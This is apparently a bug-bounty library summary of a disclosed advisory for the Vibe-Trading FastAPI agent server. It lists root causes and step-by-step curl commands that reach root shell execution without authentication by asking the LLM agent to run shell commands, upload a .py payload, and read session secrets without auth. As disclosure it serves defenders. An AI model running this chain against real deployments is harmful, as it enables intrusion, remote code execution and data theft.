# Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain

Vibe-Trading's FastAPI server ships with API_AUTH_KEY unset, making require_auth() a no-op so anonymous clients reach BashTool shell execution as root.

- Payout: Research
- Severity: critical
- Program: Vibe-Trading
- Found by: lemi9090
- Disclosed: 2026-10-02
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v2f8-6655-7grj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v2f8-6655-7grj
- Tags: area:ai domain:ai domain:api impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:docker tech:python technique:chained technique:source-review vuln:auth-bypass vuln:cors vuln:file-upload vuln:info-disclosure vuln:rce

**Target:** FastAPI agent API server (port 8899) in Docker container
**Root cause:** require_auth() returns early when API_AUTH_KEY is unset, so every Depends(require_auth) endpoint is unauthenticated by default; read endpoints never had the dependency at all, and the upload extension check is a denylist missing .py/.sh/.yaml.
**Steps:**
1. Deploy per docker compose with agent/.env copied from .env.example (API_AUTH_KEY commented out) and a working OPENROUTER_API_KEY.
2. `SID=$(curl -s -X POST http://HOST:8899/sessions -H 'Content-Type: application/json' -d '{}' | ...session_id)`
3. `curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Execute the shell command '\''id && uname -a'\'' and report the output verbatim."}'`
4. `curl -s "http://HOST:8899/sessions/$SID/messages"` returns BashTool output with `uid=0(root)`, no Authorization header used.
5. Upload: `curl -s -X POST http://HOST:8899/upload -F 'file=@/dev/stdin;filename=payload.py' <<< 'print("ATTACKER_CONTROLLED")'` returns `"file_path":"/app/agent/uploads/<uuid>.py"`.
6. Read gap: with API_AUTH_KEY set, POST a message containing a secret with Bearer token, then `curl -s "http://HOST:8899/sessions/$SID/messages"` without auth returns it verbatim.
**How found:** Code reading of require_auth() at api_server.py:303 showing `if not api_key: return`, cross-checked against the shipped .env.example where API_AUTH_KEY is commented out, the Dockerfile lacking a USER directive, and the docstring at line 289 admitting read endpoints skip auth; runtime probes confirmed each gap.
**Exploitation:** Anonymous TCP client creates a session, posts a natural-language message instructing the LLM agent to run a shell command; the ReAct agent selects BashTool, which calls subprocess.run(command, shell=True) as uid=0 inside the container. No LLM key needed for the unauth surface itself, only for the chained RCE demo.
**Escalation:** Chains F3 unauth .py/.sh/.yaml upload (server returns full path) into the agent's tool envelope and a separate backtest exec_module path for a non-bash RCE; F-A4 CORS+loopback check lets any whitelisted localhost page drive the same API from a browser.
**Insight:** When an auth helper short-circuits on missing config, grep every Depends() call site and the shipped .env.example to see whether the secure path is ever the default; also check whether read endpoints were deliberately excluded from the dependency, since operators assume enabling the key protects everything.

